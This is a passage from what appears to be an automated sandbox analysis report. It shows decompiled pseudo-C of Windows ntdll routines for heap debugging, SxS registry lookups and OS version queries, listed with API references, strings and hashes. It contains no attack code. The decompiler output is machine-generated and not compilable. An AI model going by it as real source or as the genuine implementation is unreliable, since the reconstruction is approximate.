								if(( *(_t103 + 0x240) & 0x00000001) != 0) {
									_t118 = E6C027D50();
									__eflags = _t118;
									if(_t118 != 0) {
										_t168 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags = _t168;
									}
									 *((short*)(_t174 + 0x2a)) = 0x1023;
									_push(_t174 + 0x24);
									_push(4);
									_push(0x402);
									_push( *_t168 & 0x000000ff);
									 *((intOrPtr*)(_t174 + 0x54)) = _t159;
									E6C049AE0();
								}
							}
							_t104 = E6C027D50();
							_t169 = 0x7ffe038a;
							if(_t104 != 0) {
								_t107 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t107 = 0x7ffe038a;
							}
							if( *_t107 != 0) {
								_t108 = E6C027D50();
								__eflags = _t108;
								if(_t108 != 0) {
									_t169 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
									__eflags = _t169;
								}
								 *((short*)(_t174 + 0x4e)) = 0x1023;
								_push(_t174 + 0x48);
								_push(4);
								_push(0x402);
								_push( *_t169 & 0x000000ff);
								 *((intOrPtr*)(_t174 + 0x78)) = _t159;
								E6C049AE0();
							}
							if(E6C027D50() != 0) {
								_t115 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							} else {
								_t115 = 0x7ffe0388;
							}
							if( *_t115 != 0) {
								E6C0BFDD3(_t159);
							}
							goto L26;
						}
					}
				}
			}

0x6c002fb8
0x6c002fc2
0x6c002fc6
0x6c002fc9
0x6c002fce
0x6c05fb7d
0x6c05fb84
0x6c05fb8a
0x6c05fb90
0x6c05fb94
0x6c05fbb3
0x6c05fbb8
0x6c05fb96
0x6c05fbab
0x6c05fbb0
0x6c05fbbe
0x6c05fbc3
0x6c05fbc8
0x6c05fbd0
0x6c05fbd8
0x6c05fbd9
0x6c05fbd9
0x6c05fbd0
0x6c0030ea
0x6c0030ea
0x6c0030ec
0x6c0030f0
0x6c0030f1
0x6c0030f2
0x6c0030fd
0x6c0030fd
0x6c002fdb
0x6c05fbe3
0x6c05fbea
0x6c05fbed
0x6c00312b
0x6c00312b
0x00000000
0x6c00312b
0x6c05fbf3
0x6c05fbf8
0x6c05fbfa
0x6c05fc00
0x6c05fc02
0x6c05fc02
0x6c05fc09
0x6c05fc10
0x6c05fc1b
0x6c05fc1c
0x6c05fc23
0x00000000
0x6c05fc23
0x6c002fe8
0x6c05fc2d
0x6c05fc36
0x6c05fc3c
0x00000000
0x6c05fc3c
0x6c002fee
0x6c002ff5
0x6c05fc47
0x6c05fc49
0x6c05fc49
0x6c002ffd
0x6c003009
0x6c05fc53
0x6c05fc5a
0x00000000
0x00000000
0x6c05fc62
0x6c05fc67
0x6c05fc69
0x00000000
0x00000000
0x00000000
0x6c00300f
0x6c00300f
0x6c003018
0x00000000
0x6c00301e
0x6c003024
0x6c003025
0x6c00302a
0x6c003030
0x6c003032
0x6c05fc74
0x6c05fc76
0x6c05fc7a
0x6c05fc81
0x6c05fc8f
0x6c05fc93
0x6c05fc98
0x6c05fc9d
0x6c05fc9f
0x6c05fcb1
0x6c05fca1
0x6c05fcaa
0x6c05fcaa
0x6c05fcb6
0x6c05fcb9
0x6c05fcbf
0x6c05fcc5
0x6c05fcc5
0x6c05fcca
0x6c05fcca
0x6c003041
0x6c003100
0x6c003047
0x6c003047
0x6c003047
0x6c00304b
0x6c00310b
0x6c00310f
0x6c00311c
0x6c003121
0x6c003121
0x6c003051
0x6c003059
0x6c05fcde
0x6c05fce3
0x6c05fce5
0x6c05fcea
0x6c05fcea
0x6c003063
0x6c003075
0x6c003075
0x00000000
0x6c00307b
0x6c003081
0x6c003086
0x6c00308d
0x00000000
0x6c00308f
0x6c00308f
0x6c003094
0x6c0030a0
0x6c05fcfa
0x6c0030a6
0x6c0030a6
0x6c0030a6
0x6c0030ab
0x6c05fd01
0x6c05fd07
0x6c05fd0e
0x6c05fd14
0x6c05fd19
0x6c05fd1b
0x6c05fd26
0x6c05fd26
0x6c05fd26
0x6c05fd2f
0x6c05fd38
0x6c05fd39
0x6c05fd3b
0x6c05fd43
0x6c05fd44
0x6c05fd48
0x6c05fd48
0x6c05fd0e
0x6c0030b1
0x6c0030b6
0x6c0030c2
0x6c05fd5b
0x6c0030c8
0x6c0030c8
0x6c0030c8
0x6c0030cd
0x6c05fd62
0x6c05fd67
0x6c05fd69
0x6c05fd74
0x6c05fd74
0x6c05fd74
0x6c05fd7d
0x6c05fd86
0x6c05fd87
0x6c05fd89
0x6c05fd91
0x6c05fd92
0x6c05fd96
0x6c05fd96
0x6c0030da
0x6c05fda9
0x6c0030e0
0x6c0030e0
0x6c0030e0
0x6c0030e8
0x6c003131
0x6c003131
0x00000000
0x6c0030e8
0x6c00308d
0x6c003018

APIs

RtlDeleteCriticalSection.1105(?,00000000,00008000), ref: 6C003070
RtlGetCurrentServiceSessionId.1105(00000000,00008000), ref: 6C00308F
RtlGetCurrentServiceSessionId.1105 ref: 6C0030B1
RtlGetCurrentServiceSessionId.1105 ref: 6C0030D3
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6C05FBAB
DbgPrint.1105((HeapHandle != NULL)), ref: 6C05FBC3
RtlDebugPrintTimes.1105(?), ref: 6C05FC36

Part of subcall function 6C0031B0: RtlAcquireSRWLockExclusive.1105(6C0F8660,?,00000000,6C05FC0E), ref: 6C0031BC
Part of subcall function 6C0031B0: RtlReleaseSRWLockExclusive.1105(6C0F8660,6C0F8660,?,00000000,6C05FC0E), ref: 6C0031CF

Strings

HEAP: , xrefs: 6C05FBB3
(HeapHandle != NULL), xrefs: 6C05FBBE
HEAP[%wZ]: , xrefs: 6C05FBA6

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentPrintServiceSession$ExclusiveLock$AcquireCriticalDebugDeleteReleaseSectionTimes
String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 1992993584-3610490719
Opcode ID: c86dc91a4520ab7ae2f132742623372ab8955c316567dc980db4f0260d2df714
Instruction ID: 66a01e6a67641a92f3825d9616f5bde47cbe72bc8c92e96411687e8ca6f0361b
Opcode Fuzzy Hash: c86dc91a4520ab7ae2f132742623372ab8955c316567dc980db4f0260d2df714
Instruction Fuzzy Hash: 60914730709A00DBE716CB29C554FAEB7E9BF49708F454569E84087F41DB39E854CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C03CCC0, Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 218
nativeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6C03CCC0(intOrPtr _a4, intOrPtr* _a8, signed int* _a12) {
				signed int _v8;
				char _v540;
				signed int _v544;
				char _v556;
				signed int _v560;
				signed int _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				signed int _v576;
				char _v580;
				char _v584;
				char* _v588;
				signed int _v590;
				signed int _v592;
				int _v596;
				signed int _v600;
				void* _v608;
				void* _v612;
				signed int _v616;
				intOrPtr _v620;
				signed int _v624;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t76;
				intOrPtr _t79;
				signed int _t82;
				intOrPtr _t84;
				intOrPtr* _t103;
				void* _t104;
				intOrPtr _t107;
				void* _t110;
				void* _t111;
				void* _t117;
				int _t121;
				signed int* _t124;
				void* _t125;
				signed int _t129;
				signed int _t131;

				_t131 = (_t129 & 0xfffffff8) - 0x25c;
				_v8 =  *0x6c0fd360 ^ _t131;
				_t103 = _a8;
				_t124 = _a12;
				_t76 = _a4 - 1;
				if(_t76 == 0) {
					_v580 = 0x18;
					_push( &_v580);
					_v568 = 0x40;
					_push(8);
					_v600 = 0;
					_push( &_v600);
					_v576 = 0;
					_v572 = 0x6bfe13a8;
					_v564 = 0;
					_v560 = 0;
					_t79 = E6C049600();
					_v620 = _t79;
					if(_t79 >= 0 || _t79 == 0xc0000034 || _t79 == 0xc0000189) {
						_t80 = _v600;
						 *(_t103 + 0x18) =  *(_t103 + 0x18) | 0xffffffff;
						 *((intOrPtr*)(_t103 + 8)) = _v600;
					} else {
						_push(_t79);
						_t80 = E6C095720(0x33, 0, "SXS: Unable to open registry key %wZ Status = 0x%08lx\n", 0x6bfe13a8);
						 *((char*)(_t103 + 0x1c)) = 1;
						L36:
						_t131 = _t131 + 0x14;
						if(_t124 == 0) {
							L9:
							_pop(_t117);
							_pop(_t125);
							_pop(_t104);
							return E6C04B640(_t80, _t104, _v8 ^ _t131, _t113, _t117, _t125);
						}
						_t80 = _v608;
						L38:
						 *_t124 = _t80;
					}
					goto L9;
				}
				_t82 = _t76 - 1;
				if(_t82 != 0) {
					_t80 = _t82;
					if(_t80 == 0 &&  *_t103 != _t80) {
						_push( *_t103);
						_t80 = E6C0495D0();
					}
					goto L9;
				}
				_t84 =  *((intOrPtr*)(_t103 + 4));
				if(_t84 != 0) {
					if(_t84 != 1) {
						_t107 =  *_t103;
						_t80 = _t84 + 0xfffffffe;
						_v608 = _t107;
						_v584 = 0;
						_v596 = _t80;
						if(_t107 == 0) {
							L30:
							 *((char*)(_t103 + 9)) = 1;
							goto L9;
						}
						_push( &_v584);
						_push(0x220);
						_t113 =  &_v556;
						_push( &_v556);
						_push(0);
						_push(_t80);
						_push(_t107);
						_t80 = E6C049820();
						_v624 = _t80;
						if(_t80 >= 0) {
							_t80 = _v544;
							if(_t80 > 0xfffe) {
								L20:
								 *((char*)(_t103 + 8)) = 1;
								if(_t124 != 0) {
									 *_t124 = 0xc0000106;
								}
								goto L9;
							}
							_t113 =  &_v592;
							_v592 = _t80;
							_v590 = _t80;
							_v588 =  &_v540;
							_t80 = E6C094A28(_v608,  &_v592, _t103 + 0xc);
							_v612 = _t80;
							if(_t80 >= 0) {
								goto L9;
							}
							_push(_t80);
							_t80 = E6C095720(0x33, 0, "SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx\n",  &_v592);
							 *((char*)(_t103 + 8)) = 1;
							goto L36;
						}
						if(_t80 == 0x8000001a) {
							goto L30;
						}
						_push(_t80);
						_t80 = E6C095720(0x33, 0, "SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx\n", _v596);
						_t131 = _t131 + 0x14;
						 *((char*)(_t103 + 8)) = 1;
						if(_t124 == 0) {
							goto L9;
						}
						_t80 = _v600;
						goto L38;
					}
					RtlInitUnicodeString( &_v608, E6C01AAB0());
					_t113 = _v616 & 0x0000ffff;
					 *(_t103 + 0xc) = 0;
					_t27 = _t113 + 0x10; // 0x50
					_t80 = _t27;
					if(_t27 > ( *(_t103 + 0xe) & 0x0000ffff)) {
						L22:
						 *((char*)(_t103 + 8)) = 1;
						if(_t124 != 0) {
							 *_t124 = 0xc0000023;
						}
						goto L9;
					}
					memcpy( *(_t103 + 0x10), _v612, _t113);
					_t131 = _t131 + 0xc;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t80 = _v616 + 0x10;
					L8:
					 *(_t103 + 0xc) = _t80;
					goto L9;
				}
				_t80 =  *( *[fs:0x30] + 0x10);
				_t121 =  *( *( *[fs:0x30] + 0x10) + 0x38) & 0x0000ffff;
				_v596 = _t121;
				_t9 = _t121 + 0x10; // 0x6c016177
				_t110 = _t9;
				if(_t110 > 0xfffe) {
					goto L20;
				}
				_t80 =  *(_t103 + 0xe) & 0x0000ffff;
				if(_t110 > ( *(_t103 + 0xe) & 0x0000ffff)) {
					goto L22;
				}
				_t111 =  *( *( *[fs:0x30] + 0x10) + 0x3c);
				if(( *( *( *[fs:0x30] + 0x10) + 8) & 0x00000001) == 0) {
					_t111 = _t111 +  *( *[fs:0x30] + 0x10);
				}
				memcpy( *(_t103 + 0x10), _t111, _t121);
				_t131 = _t131 + 0xc;
				_t113 = 1;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *(_t103 + 0xc) = _v596 + 0xe;
				if(E6C03D268( *(_t103 + 0x10), 1) != 0) {
					goto L9;
				} else {
					_t80 = 0;
					goto L8;
				}
			}

0x6c03ccc8
0x6c03ccd5
0x6c03cce0
0x6c03cce4
0x6c03cce8
0x6c03cceb
0x6c03ce12
0x6c03ce1a
0x6c03ce1d
0x6c03ce25
0x6c03ce2b
0x6c03ce2f
0x6c03ce30
0x6c03ce34
0x6c03ce3c
0x6c03ce40
0x6c03ce44
0x6c03ce49
0x6c03ce4f
0x6c03ce5c
0x6c03ce60
0x6c03ce64
0x6c07ad96
0x6c07ad96
0x6c07ada4
0x6c07ada9
0x6c07adad
0x6c07adad
0x6c07adb2
0x6c03cd88
0x6c03cd8f
0x6c03cd90
0x6c03cd91
0x6c03cd9c
0x6c03cd9c
0x6c07adb8
0x6c07adbc
0x6c07adbc
0x6c07adbc
0x00000000
0x6c03ce4f
0x6c03ccf1
0x6c03ccf4
0x6c03cda0
0x6c03cda3
0x6c07ac7c
0x6c07ac7e
0x6c07ac7e
0x00000000
0x6c03cda3
0x6c03ccfa
0x6c03ccff
0x6c03cdb1
0x6c07acc4
0x6c07acc8
0x6c07accb
0x6c07accf
0x6c07acd3
0x6c07acd9
0x6c07ad2b
0x6c07ad2b
0x00000000
0x6c07ad2b
0x6c07acdf
0x6c07ace0
0x6c07ace5
0x6c07ace9
0x6c07acea
0x6c07aceb
0x6c07acec
0x6c07aced
0x6c07acf2
0x6c07acf8
0x6c07ad34
0x6c07ad3d
0x6c07ac88
0x6c07ac88
0x6c07ac8e
0x6c07ac94
0x6c07ac94
0x00000000
0x6c07ac8e
0x6c07ad47
0x6c07ad4b
0x6c07ad50
0x6c07ad59
0x6c07ad61
0x6c07ad66
0x6c07ad6c
0x00000000
0x00000000
0x6c07ad72
0x6c07ad80
0x6c07ad85
0x00000000
0x6c07ad85
0x6c07acff
0x00000000
0x00000000
0x6c07ad01
0x6c07ad0e
0x6c07ad13
0x6c07ad16
0x6c07ad1c
0x00000000
0x00000000
0x6c07ad22
0x00000000
0x6c07ad22
0x6c03cdc2
0x6c03cdc7
0x6c03cdd2
0x6c03cdd6
0x6c03cdd6
0x6c03cddb
0x6c07ac9f
0x6c07ac9f
0x6c07aca5
0x6c07acab
0x6c07acab
0x00000000
0x6c07aca5
0x6c03cde9
0x6c03cdfb
0x6c03cdfe
0x6c03cdff
0x6c03ce00
0x6c03ce01
0x6c03ce06
0x6c03cd84
0x6c03cd84
0x00000000
0x6c03cd84
0x6c03cd0b
0x6c03cd0e
0x6c03cd12
0x6c03cd16
0x6c03cd16
0x6c03cd1f
0x00000000
0x00000000
0x6c03cd25
0x6c03cd2b
0x00000000
0x00000000
0x6c03cd3a
0x6c03cd4a
0x6c07acbc
0x6c07acbc
0x6c03cd56
0x6c03cd66
0x6c03cd6c
0x6c03cd6e
0x6c03cd6f
0x6c03cd70
0x6c03cd71
0x6c03cd75
0x6c03cd80
0x00000000
0x6c03cd82
0x6c03cd82
0x00000000
0x6c03cd82

APIs

memcpy.1105(6BFE4F84,?,6C016167,00000040,?,?), ref: 6C03CD56

Part of subcall function 6C03D268: RtlInitUnicodeStringEx.1105(?,00000000,00000000,?,?,6C084718,00000030,?,00000000,?,6C06F5F2,?,00000024,00000000,?), ref: 6C03D278

RtlGetNtSystemRoot.1105(00000040,?,?), ref: 6C03CDB7
RtlInitUnicodeString.1105(00000000,00000000,00000040,?,?), ref: 6C03CDC2
memcpy.1105(6BFE4F84,00000000,00000040,00000000,00000000,00000040,?,?), ref: 6C03CDE9
ZwOpenKey.1105(?,00000008,?,?,?,?), ref: 6C03CE44
ZwClose.1105(?,00000040,?,?), ref: 6C07AC7E

Strings

SXS: Unable to open registry key %wZ Status = 0x%08lx, xrefs: 6C07AD9C
SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx, xrefs: 6C07AD78
.Local\, xrefs: 6C03CD61
@, xrefs: 6C03CE1D
\WinSxS\, xrefs: 6C03CDF3
SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx, xrefs: 6C07AD06

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicodememcpy$CloseOpenRootSystem
String ID: .Local\$@$SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx$SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx$SXS: Unable to open registry key %wZ Status = 0x%08lx$\WinSxS\
API String ID: 3618765437-3926108909
Opcode ID: 2ec2881c6a484e9c1fe37e93ec2f011f10e237305dd0c74b26492f9617a204f4
Instruction ID: ac85e4d9886eafadc859c23a0b154e6b39cf791423936bf166d25752594a6382
Opcode Fuzzy Hash: 2ec2881c6a484e9c1fe37e93ec2f011f10e237305dd0c74b26492f9617a204f4
Instruction Fuzzy Hash: 6881E2711083229FDB11DF25C880B5BBBE8BF85708F549A5DF898CBA51D374D904CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6C0065A0, Relevance: 28.2, APIs: 9, Strings: 7, Instructions: 157
nativeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6C0065A0(intOrPtr _a4, intOrPtr* _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v28;
				signed int _v300;
				intOrPtr _v304;
				signed int _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				void _v324;
				intOrPtr* _v328;
				void _v332;
				int _v336;
				void* _v340;
				char _v344;
				void* _v348;
				char _v352;
				char _v356;
				char _v360;
				char _v364;
				void* _v368;
				void* _v372;
				void* _v388;
				void* __ebx;
				void* __edi;
				void* __esi;
				void _t75;
				intOrPtr* _t110;
				void* _t111;
				signed int _t112;
				signed int _t118;
				void* _t132;
				void* _t135;
				intOrPtr* _t137;
				void* _t142;
				signed int _t143;
				signed int _t145;

				_t145 = (_t143 & 0xfffffff8) - 0x15c;
				_v8 =  *0x6c0fd360 ^ _t145;
				_t75 = _a4;
				_t124 = 0;
				_v332 = _t75;
				_t110 = _a12;
				_t137 = _a8;
				_v328 = _t137;
				if(_t75 != 0) {
					_push("true");
					_pop(_t112);
					_v340 = 0;
					_v336 = 0;
					memset( &_v324, 0, _t112 << 2);
					_t145 = _t145 + 0xc;
					_v344 = 0;
					_v348 = 0;
					_t132 = 0;
					RtlInitUnicodeString( &_v340, L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion");
					_v332 = 0x18;
					_v324 =  &_v348;
					_v328 = 0;
					_push( &_v332);
					_push(0x20119);
					_v320 = 0x40;
					_push( &_v352);
					_v316 = 0;
					_v312 = 0;
					if(E6C049600() >= 0) {
						if(E6C0066D4(_v352, L"UBR",  &_v356) >= 0) {
							_t132 = _v356;
						}
						_push(_v352);
						E6C0495D0();
					}
					_v308 = 0x11c;
					E6C034020( &_v308);
					_t89 = _v344;
					asm("adc esi, edx");
					asm("adc esi, 0x0");
					 *_t89 = 0 + _v300 * 0x10000 + _t132;
					 *((intOrPtr*)(_t89 + 4)) = _v308 * 0x10000 + _v304;
					_t124 = 0;
					_t137 = _v340;
				}
				if(_t137 != 0) {
					_v348 = _t124;
					_v344 = _t124;
					_v356 = 3;
					RtlInitUnicodeString( &_v348, L"Kernel-OneCore-DeviceFamilyID");
					_push( &_v344);
					_push(4);
					_push( &_v364);
					_push( &_v348);
					_push( &_v356);
					E6C04A9B0();
					_t89 =  *((intOrPtr*)(_t145 + 0x10));
					 *_t137 =  *((intOrPtr*)(_t145 + 0x10));
				}
				if(_t110 != 0) {
					_t118 = 6;
					memset( &_v332, 0, _t118 << 2);
					_t145 = _t145 + 0xc;
					_v348 = 0;
					_v344 = 0;
					_v352 = 0;
					_v356 = 0;
					 *_t110 = 0;
					RtlInitUnicodeString( &_v348, L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\OEM");
					_v340 = 0x18;
					_v332 =  &_v356;
					_push( &_v340);
					_push(0x20119);
					_v336 = 0;
					_push( &_v360);
					_v328 = 0x40;
					_v324 = 0;
					_v320 = 0;
					if(E6C049600() >= 0) {
						_t124 = L"DeviceForm";
						if(E6C0066D4(_v360, L"DeviceForm",  &_v364) >= 0) {
							 *_t110 = _v364;
						}
						_push(_v360);
						_t89 = E6C0495D0();
					}
				}
				_pop(_t135);
				_pop(_t142);
				_pop(_t111);
				return E6C04B640(_t89, _t111,  *(_t145 + 0x164) ^ _t145, _t124, _t135, _t142);
			}

0x6c0065a8
0x6c0065b5
0x6c0065bc
0x6c0065bf
0x6c0065c1
0x6c0065c6
0x6c0065ca
0x6c0065cd
0x6c0065d4
0x6c0619a6
0x6c0619a8
0x6c0619ab
0x6c0619b3
0x6c0619b7
0x6c0619b7
0x6c0619c2
0x6c0619c7
0x6c0619cb
0x6c0619cd
0x6c0619d6
0x6c0619de
0x6c0619e8
0x6c0619ec
0x6c0619ed
0x6c0619f6
0x6c0619fe
0x6c0619ff
0x6c061a03
0x6c061a0e
0x6c061a25
0x6c061a27
0x6c061a27
0x6c061a2b
0x6c061a2f
0x6c061a2f
0x6c061a38
0x6c061a41
0x6c061a66
0x6c061a6a
0x6c061a6e
0x6c061a71
0x6c061a73
0x6c061a76
0x6c061a78
0x6c061a78
0x6c0065dc
0x6c0065e7
0x6c0065ec
0x6c0065f0
0x6c0065f8
0x6c006601
0x6c006602
0x6c006608
0x6c00660d
0x6c006612
0x6c006613
0x6c006618
0x6c00661c
0x6c00661c
0x6c006620
0x6c00663b
0x6c006644
0x6c006644
0x6c00664f
0x6c006654
0x6c006658
0x6c00665c
0x6c006660
0x6c006662
0x6c00666b
0x6c006673
0x6c00667b
0x6c00667c
0x6c006685
0x6c006689
0x6c00668a
0x6c006692
0x6c006696
0x6c0066a1
0x6c0066b0
0x6c0066bc
0x6c0066d0
0x6c0066d0
0x6c0066be
0x6c0066c2
0x6c0066c2
0x6c0066a1
0x6c006629
0x6c00662a
0x6c00662b
0x6c006636

APIs

RtlInitUnicodeString.1105 ref: 6C0065F8
ZwQueryLicenseValue.1105(?,?,00000003,00000004,?), ref: 6C006613
RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM), ref: 6C006662
ZwClose.1105(?,?,?,?,?,?,00020119,00000018), ref: 6C0066C2
ZwOpenKey.1105(?,?,?,?,00020119,00000018), ref: 6C00669A

Part of subcall function 6C049600: LdrInitializeThunk.NTDLL(6C041119,?,?,00000018,?), ref: 6C04960A

RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6C0619CD
ZwOpenKey.1105(?,?,?,?,00020119,00000018), ref: 6C061A07
ZwClose.1105(?,?,?,?,?,?,00020119,00000018), ref: 6C061A2F
RtlGetVersion.1105(?,?,?,?,?,00020119,00000018), ref: 6C061A41

Strings

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM, xrefs: 6C006646
UBR, xrefs: 6C061A19
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion, xrefs: 6C0619B9
DeviceForm, xrefs: 6C0066B0
Kernel-OneCore-DeviceFamilyID, xrefs: 6C0065DE
@, xrefs: 6C0619F6
@, xrefs: 6C00668A

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$InitializeLicenseQueryThunkValueVersion
String ID: @$@$DeviceForm$Kernel-OneCore-DeviceFamilyID$UBR$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM
API String ID: 2689724482-2811273990
Opcode ID: 069ac9d44e1ec6779216c86d5af2b5b5ccffe1a99d97a9a05afd8d0ef0480dff
Instruction ID: f013743bd1e69dbbb033f33c591c23b5ad567a26331050cb94e369c8c22c70eb
Opcode Fuzzy Hash: 069ac9d44e1ec6779216c86d5af2b5b5ccffe1a99d97a9a05afd8d0ef0480dff
Instruction Fuzzy Hash: 1E512AB16083159FD310CF19D840A9FBBE9AF88754F01892EF998D7750D731EA498BA2

Uniqueness

Uniqueness Score: -1.00%

Function 6C022430, Relevance: 26.7, APIs: 10, Strings: 5, Instructions: 461
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E6C022430(signed char _a4, intOrPtr* _a8, intOrPtr* _a12, intOrPtr _a16, intOrPtr* _a20, signed int _a24, intOrPtr* _a28, int _a32, intOrPtr* _a36) {
				signed int _v8;
				char _v140;
				short _v172;
				char _v176;
				signed int _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				char _v192;
				signed int _v196;
				signed int _v200;
				short* _v204;
				short* _v208;
				short* _v212;
				signed int _v214;
				void _v216;
				short _v224;
				short _v228;
				short* _v232;
				signed short* _v236;
				signed short* _v240;
				short _v242;
				char _v244;
				intOrPtr _v248;
				void* _v252;
				intOrPtr _v256;
				void* _v260;
				char* _v280;
				char _v284;
				int _v288;
				char _v292;
				signed int _v296;
				int _v300;
				signed int _v304;
				int _v312;
				intOrPtr _v316;
				char _v320;
				signed int _v324;
				signed short _v328;
				signed short* _v332;
				signed int _v336;
				char _v337;
				void* _v338;
				void* _v342;
				void* _v344;
				void* _v348;
				void* _v352;
				void* _v353;
				void* _v354;
				void* _v356;
				void* _v364;
				void* _v366;
				void* _v368;
				void* _v370;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t179;
				signed short* _t180;
				intOrPtr _t182;
				intOrPtr _t186;
				short* _t187;
				intOrPtr _t193;
				short* _t194;
				short* _t202;
				signed int _t224;
				char _t225;
				signed int _t226;
				intOrPtr* _t233;
				intOrPtr* _t246;
				void* _t247;
				intOrPtr* _t248;
				char* _t249;
				intOrPtr* _t255;
				short* _t256;
				signed short* _t259;
				signed int _t262;
				intOrPtr* _t264;
				void* _t265;
				signed short* _t266;
				intOrPtr _t267;
				int _t268;
				signed short* _t269;
				void* _t274;
				void* _t275;
				signed int _t276;
				void* _t278;
				signed int _t280;
				signed int _t282;

				_t282 = (_t280 & 0xfffffff8) - 0x154;
				_v8 =  *0x6c0fd360 ^ _t282;
				_t248 = _a28;
				_t258 = _a32;
				_t179 = _a36;
				_t246 = _a20;
				_v296 = _t248;
				_v320 = 0;
				_v316 = 0;
				_v280 =  &_v140;
				_v300 = _t258;
				_v284 = 0x800000;
				_v288 = 0;
				_v328 = 0;
				_v304 = 0;
				_t264 = _a8;
				if(_t248 != 0) {
					 *_t248 = 0;
				}
				if(_t258 != 0) {
					 *_t258 = 0;
				}
				if(_t179 != 0) {
					 *_t179 = 0x208;
				}
				if(_t246 != 0) {
					 *_t246 = 0;
					 *((intOrPtr*)(_t246 + 4)) = 0;
				}
				_t180 =  &_v172;
				_v228 = 0x20;
				_v236 = _t180;
				_v232 = _t180;
				_v240 = _t180;
				_v172 = 0;
				_t182 = _a16;
				_v224 = 0x20;
				_v244 = 0x200000;
				if(_t182 == 0) {
					_t249 =  &_v192;
					_v200 = 2;
					_v208 = _t249;
					_v204 = _t249;
					_v212 = _t249;
					_v196 = 2;
					_v192 = 0;
					_v216 = 0x20000;
				} else {
					_t262 =  *(_t182 + 2) & 0x0000ffff;
					_t256 =  *((intOrPtr*)(_t182 + 4));
					if(_t262 < 2) {
						_t256 =  &_v192;
						_t262 = 2;
					}
					_v208 = _t256;
					_v200 = _t262;
					_v204 = _t256;
					_v196 = _t262;
					_v212 = _t256;
					if(_t256 != 0) {
						 *_t256 = 0;
					}
					_v214 = _t262;
					_t258 = _v300;
					_v216 = 0;
				}
				_t251 = _a24;
				_v188 = _t182;
				_v184 = _t246;
				_v180 = _t251;
				_v176 = 1;
				if((_a4 & 0xfffffffe) != 0) {
					_t274 = 0xc000000d;
					goto L82;
				} else {
					if(_t264 == 0) {
						_t274 = 0xc000000d;
						L82:
						if(_t274 >= 0) {
							L57:
							_t183 = _v316;
							if(_v316 != 0) {
								E6C00AD30(_t183);
								_v324 = 0;
								_v320 = 0;
							}
							_t186 = _v236;
							if(_t186 != 0) {
								if(_t186 != _v232) {
									_v248 = _t186;
									RtlFreeUnicodeString( &_v252);
								}
								_v240 = _v236;
								_v232 = _v228;
							}
							_t187 = _v232;
							_v240 = _t187;
							if(_t187 != 0) {
								_t251 = 0;
								 *_t187 = 0;
							}
							_v244 = 0;
							_v242 = _v224;
							if(_t274 == 0xc0150001) {
								E6C0A5100(_t251, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x1b2, "Status != STATUS_SXS_SECTION_NOT_FOUND");
								_t274 = 0xc00000e5;
								goto L82;
							} else {
								_pop(_t265);
								_pop(_t275);
								_pop(_t247);
								return E6C04B640(_t274, _t247, _v8 ^ _t282, _t258, _t265, _t275);
							}
						}
						L51:
						if(_v176 != 0) {
							_t193 = _v208;
